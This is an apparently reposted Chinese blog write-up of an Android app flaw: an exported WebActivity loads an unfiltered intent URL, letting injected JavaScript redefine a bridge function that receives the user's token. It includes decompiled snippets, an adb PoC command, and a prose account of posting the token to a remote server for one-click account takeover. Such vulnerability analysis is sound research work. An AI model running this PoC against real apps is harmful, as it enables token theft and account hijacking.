文章总结: 文档分析了Android客户端WebViewJavaScript桥接劫持漏洞。WebActivity组件导出且未过滤URL参数,允许攻击者通过Intent注入恶意JavaScript代码。由于应用原生层会将敏感Token传递给JS函数,攻击者重定义该函数即可窃取Token。结合社区发帖功能,最终实现了点击即账号接管,并给出了详细的复现步骤与PoC。 综合评分: 91 文章分类: 代码审计,漏洞分析,移动安全,漏洞POC
【代码审计】客户端代码执行之WebView JavaScript桥接劫持token账号接管
原创
挖个洞先 挖个洞先
挖个洞先
2026年3月28日 19:12 北京
“ 道也梦中来,青居心上请。 觉时花未央,剑罢孤楼影。——《我有一身被动技》 ”
01
—
操作步骤
1、WebActivity可导出
<activity android:name="com.unitree.community.ui.web.WebActivity" android:exported="true" android:configChanges="screenSize|orientation|keyboardHidden"/>
2、查看com.xxx.web.WebActivity,入口initView(),传参没有过滤直接赋值给this.webUrl
如果是app://,走内部业务跳转,
否则调用createAgentWeb().ready().go(this.webUrl);
String stringExtra = getIntent().getStringExtra(ProviderConstant.WEB_URL);this.webUrl = stringExtra;.setOpenOtherPageWays(DefaultWebClient.OpenOtherPageWays.ASK).interceptUnkownUrl().createAgentWeb().ready().go(this.webUrl);
3、从go()一步步跟到UrlLoaderImpl()
UrlLoaderImpl(WebView webView, HttpHeaders httpHeaders) { this.mHandler = null; this.mWebView = webView; this.mHttpHeaders = httpHeaders; if (httpHeaders == null) { this.mHttpHeaders = HttpHeaders.create(); } this.mHandler = new Handler(Looper.getMainLooper()); }
4、str没有过滤,最终传参到WebView.loadUrl(str)直接执行
if (map == null || map.isEmpty()) { this.mWebView.loadUrl(str); }
5、继续分析,发现注册了AndroidInterface作为JavaScript桥接
JsInterfaceHolder jsInterfaceHolder = agentWeb2.getJsInterfaceHolder(); AgentWeb agentWeb3 = this.mAgentWeb; if (agentWeb3 == null) { Intrinsics.throwUninitializedPropertyAccessException("mAgentWeb"); agentWeb3 = null; } jsInterfaceHolder.addJavaObject(DispatchConstants.ANDROID, new AndroidInterface(agentWeb3, this));
6、进到AndroidInterface类,发现callNativeFunc方法
callNativeFunc是Android原生提供给WebView,可以被JavaScript调用的方法
public void callNativeFunc(final String str) { this.deliver.post(new Runnable() { // from class: com.xxx.web.AndroidInterface.1 @Override // java.lang.Runnable public void run() { Log.i("Info", "main Thread:" + Thread.currentThread()); Toast.makeText(StubApp.getOrigApplicationContext(AndroidInterface.this.context.getApplicationContext()), "" + str, 1).show(); } }); Log.i("Info", "Thread:" + Thread.currentThread()); }
7、agentWeb.getJsAccessEntrace()分析
agentWeb,AgentWeb实例,封装了WebView
.getJsAccessEntrace(),获取JavaScript访问入口对象,用于原生代码调用JavaScript
quickCallJs()第一个参数callNativeFunc(),第二个参数接收函数返回值
第三个参数CommonUtilsKt.getToken()获取token
agentWeb.getJsAccessEntrace().quickCallJs("callNativeFunc", new ValueCallback() { // from class: @Override // android.webkit.ValueCallback public final void onReceiveValue(Object obj) { WebActivity.m122initView$lambda0((String) obj); } }, CommonUtilsKt.getToken());
8、进到getToken(),获取MMKV默认实例,从存储中读取key为”token”的字符串值
public static final String getToken() { String strDecodeString = MMKV.defaultMMKV().decodeString("token"); return strDecodeString == null ? "" : strDecodeString; }
9、构造poc,当原生代码调用callNativeFunc(token)时,实际上执行的是alert(token)
adb shell am start -W -n com.xxx/com.xxx.web.WebActivity --es web_url "javascript:window.callNativeFunc=alert"
10、成功获取token,由于存在社区功能,可以发帖,fetch到远程服务器上,1click账号接管
11、与实际请求token进行对比一致
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:挖个洞先 挖个洞先 挖个洞先《【代码审计】客户端代码执行之WebView JavaScript桥接劫持token账号接管》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论